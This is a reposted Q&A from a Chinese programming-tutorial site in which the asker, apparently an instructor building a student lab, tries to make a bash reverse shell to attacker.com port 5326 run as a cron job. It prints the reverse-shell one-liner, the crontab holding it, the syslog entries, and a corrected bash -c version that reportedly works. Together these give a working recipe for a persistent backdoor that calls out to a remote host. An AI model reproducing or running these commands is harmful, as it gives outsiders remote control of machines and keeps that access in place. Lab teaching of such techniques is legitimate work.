大佬教程收集整理的这篇文章主要介绍了linux – Bash反向shell命令cron工作不起作用 – 我放弃了,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
我试图让这个命令执行.现在频率并不重要,但最终它会在开机时运行,每30分钟运行一次.
/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
从命令行运行时,命令有效,并建立反向sHell.我不想使用端口80,因为如果学生决定尝试愚蠢的事情,我希望这个被阻止.另外,下一个实验室是在iptables上阻止这个端口.
我试过报价.我试过sudo.最后是双&符号.最后是单个&符号. / tcp /的路径的进一步资格.我认为我不需要建立它运行的tty会话(这将是艰难的).在任何情况下,cron-run命令都不会成功.
crontab -l # Edit this file to introduce tasks to be run by cron. # # Each task to run has to be defined through a single line # inDicaTing with different fields when the task will be run # and what command to run for the task # # To define the time you can provide concrete values for # minute (m),hour (h),day of month (dom),month (mon),# and day of week (dow) or use '*' in these fields (for 'any').# # Notice that tasks will be started based on the cron's system # daemon's notion of time and timezones. # # Output of the crontab jobs (including errors) is sent through # email to the user the crontab file belongs to (unless redirected). # # For example,you can run a BACkup of all your user accounts # at 5 a.m every week with: # 0 5 * * 1 tar -zcf /var/BACkups/home.tgz /home/ # # For more information see the manual pages of crontab(5) and cron(8) # # m h dom mon dow command * * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1
这是系统日志
cat /var/log/syslog Mar 19 07:42:01 raspBerrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1) Mar 19 07:42:01 raspBerrypi CRON[12917]: (CRON) info (No MTA installed,discarding output)
它似乎没有失败……它只是没有工作.
那么对于我这里比我更聪明的许多人来说,我做错了什么以及如何让这个命令作为一个cron工作(调用脚本不是一个选项)?
更新:解决方案是* * * * * / bin / bash -c’bash -i>& /dev/tcp/attacker.com/5326 0>& 1’虽然有两个错误,我仍在努力解决.
以上是大佬教程为你收集整理的linux – Bash反向shell命令cron工作不起作用 – 我放弃了全部内容,希望文章能够帮你解决linux – Bash反向shell命令cron工作不起作用 – 我放弃了所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。